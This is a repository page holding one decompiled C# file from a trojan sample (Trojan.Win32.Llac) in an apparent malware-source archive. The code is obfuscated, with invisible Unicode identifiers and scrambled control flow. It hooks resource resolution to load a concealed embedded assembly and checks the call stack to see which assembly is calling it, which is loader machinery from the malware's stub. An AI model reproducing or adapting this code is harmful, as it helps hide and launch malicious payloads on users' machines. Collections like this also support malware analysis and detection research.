MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2/_0002/_0004.cs
2022-08-18 06:28:56 -05:00

152 lines
3.5 KiB
C#
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe
using \u0002;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
namespace \u0002
{
internal sealed class \u0004
{
private static Assembly \u0001 = (Assembly) null;
private static string[] \u0001 = new string[0];
internal static void \u0002()
{
try
{
AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0004.\u0002);
}
catch (Exception ex)
{
}
}
private static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1)
{
if ((object) \u0004.\u0001 == null)
{
lock (\u0004.\u0001)
{
\u0004.\u0001 = Assembly.Load("{3ea36574-a2c6-44b0-87e6-d55d37150f98}, PublicKeyToken=3e56350693f7355e");
if ((object) \u0004.\u0001 != null)
\u0004.\u0001 = \u0004.\u0001.GetManifestResourceNames();
}
}
string name = obj1.Name;
if (true)
{
int index = 0;
while (true)
{
int num1 = index;
int num2 = \u0004.\u0001.Length;
if (true)
goto label_17;
label_8:
if (num2 == 0)
goto label_18;
label_9:
if (num2 != 0)
{
if (num1 == 0)
num1 = index;
else
break;
}
index = num1 + 1;
continue;
label_17:
num2 = num2;
label_18:
if (true)
{
if (num1 < num2)
{
int num3 = \u0004.\u0001[index] == name ? 1 : 0;
num2 = 6;
num1 = num3;
goto label_8;
}
else
goto label_20;
}
else
goto label_9;
}
if (!\u0004.\u0002())
return (Assembly) null;
goto label_13;
label_20:
return (Assembly) null;
}
label_13:
return \u0004.\u0001;
}
private static bool \u0002()
{
bool flag;
try
{
if (true)
{
StackFrame[] frames = new StackTrace().GetFrames();
int index = 2;
while (true)
{
int num1 = index;
while (true)
{
int length = frames.Length;
if (num1 >= length)
{
flag = false;
goto label_17;
}
else if ((object) frames[index].GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly())
{
int num2 = 1;
if (num2 != 0)
{
flag = num2 != 0;
goto label_17;
}
else
num1 = num2;
}
else
{
num1 = index + 1;
break;
}
}
index = num1;
}
}
}
catch
{
int num;
for (int index = 0; index == 0; index = num)
{
num = 1;
if (num != 0)
{
flag = num != 0;
break;
}
}
}
label_17:
return flag;
}
}
}